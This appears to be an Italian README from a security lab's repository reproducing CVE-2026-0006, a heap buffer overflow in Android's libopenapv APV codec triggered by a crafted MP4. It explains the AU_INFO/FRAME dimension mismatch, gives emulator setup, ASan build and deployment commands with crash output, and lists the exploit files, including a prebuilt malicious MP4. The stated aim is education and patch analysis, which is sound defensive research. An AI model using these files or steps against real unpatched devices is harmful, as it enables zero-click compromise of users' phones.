
CVE-2026-0006: PoC di heap buffer overflow per libopenapv (codec APV Android) - CVSS 9.8
CVSS 9.8 Critico | Sfruttato attivamente in the wild | Corretto a marzo 2026
Nota: Non abbiamo scoperto questa vulnerabilità. Tutto il merito per la scoperta e la segnalazione responsabile di CVE-2026-0006 va ai ricercatori originali. Questo repository contiene la nostra analisi della patch, riproduzione e writeup educativa indipendente per aiutare la community di sicurezza a comprendere la classe di bug e le tecniche di sfruttamento coinvolte.

CVE-2026-0006 è un heap buffer overflow in libopenapv, il codec APV (Advanced Professional Video) open-source di Samsung integrato in Android 16 come modulo Mainline.
La vulnerabilità consente esecuzione remota di codice zero-click tramite un file MP4 appositamente predisposto. Il framework multimediale di Android elabora automaticamente i file video per miniature e anteprime — nessuna interazione utente richiesta.
oapvd_info() e oapvd_decode() leggono le dimensioni del frame da PBU diversi (Payload Byte Units). Un attaccante inietta una PBU AU_INFO (tipo 65) che dichiara dimensioni ridotte (16x16), mentre la PBU FRAME effettiva codifica dimensioni grandi (64x64). Il framework alloca i buffer basandosi sull'output di oapvd_info(), quindi oapvd_decode() scrive i pixel decodificati con le dimensioni della PBU FRAME — facendo overflow del buffer di 14,848 byte.
È necessario un emulatore Android 16 con livello di patch di sicurezza precedente a marzo 2026 (il decoder APV non è presente nelle versioni precedenti di Android).
# Install the required system image (Android 16 / API 36, ARM64)
sdkmanager "system-images;android-36.1;google_apis;arm64-v8a"
# Create the AVD
avdmanager create avd \
-n android16_apv \
-k "system-images;android-36.1;google_apis;arm64-v8a" \
-d pixel_6
# Launch the emulator
emulator -avd android16_apv -no-snapshot-load
# Check that the APV codec module exists
adb shell ls -la /apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so
# Check security patch level (must be before 2026-03-01)
adb shell getprop ro.build.version.security_patch
Se la patch di sicurezza è 2026-03-01 o successiva, la vulnerabilità è stata corretta e l'exploit non funzionerà. Utilizza un'immagine di sistema o uno snapshot precedente.
# Requires: adb connected to Android 16 device/emulator (pre-March 2026 patch)
./deploy_exploit_mp4.sh
Questo comando genera l'MP4 di exploit, lo invia al dispositivo, lo apre e cattura l'output del crash. Il crash potrebbe non attivarsi al primo tentativo — lo script riprova automaticamente fino a 3 volte.
# Requires: valid.apv and apv-mp4/valid_ffmpeg.mp4 (both included)
python3 generate_overflow_mp4.py
# Requires: Android NDK r29+, libopenapv v0.1.11.3 source
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so
# 1. Build libopenapv with ASan for ARM64
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1
mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
-DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)
# 2. Cross-compile the MP4 ASan PoC
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
-I../inc -I./include \
poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan
# 3. Push and run on device
adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push apv-mp4/overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp \
ASAN_OPTIONS=detect_leaks=0 \
/data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"
==17610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0
0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)
fb6a5eab): validazione ssize > 4 e controllo della firma 'aPv1'oapv_param.c per la validazione di dimensioni e dimensioni delle tileQuesta vulnerabilità è stata scoperta e segnalata in modo responsabile dai ricercatori di sicurezza originali. Non abbiamo trovato noi questa CVE. Tutto il merito della scoperta va a loro.
Questo repository rappresenta l'analisi della patch e riproduzione indipendente di Mobile Hacking Lab — creato a scopo educativo per aiutare la community di sicurezza a imparare dalle vulnerabilità reali.
Questa ricerca è stata condotta a scopo educativo su build di test isolate della libreria vulnerabile. Tutti i test sono stati eseguiti su binari compilati localmente del progetto open-source libopenapv. Nessun dispositivo o sistema di produzione è stato preso di mira.
| File | Descrizione |
|---|
generate_overflow_mp4.py | Genera l'MP4 di exploit con la discrepanza di dimensioni AU_INFO |
deploy_exploit_mp4.sh | One-shot: genera, invia al dispositivo Android, apre e cattura il crash |
poc_mp4_asan.c | PoC ASan che simula il percorso di decodifica di C2SoftApvDec |
poc_android_oob_write.c | PoC ARM64 standalone con rilevamento di overflow della regione di guardia |
valid.apv | Bitstream APV valido di 337 byte (64x64, YUV422, 10-bit) |
apv-mp4/valid_ffmpeg.mp4 | Container MP4 di base (generato da ffmpeg) |
apv-mp4/overflow_auinfo.mp4 | MP4 di exploit precompilato (1,178 byte) |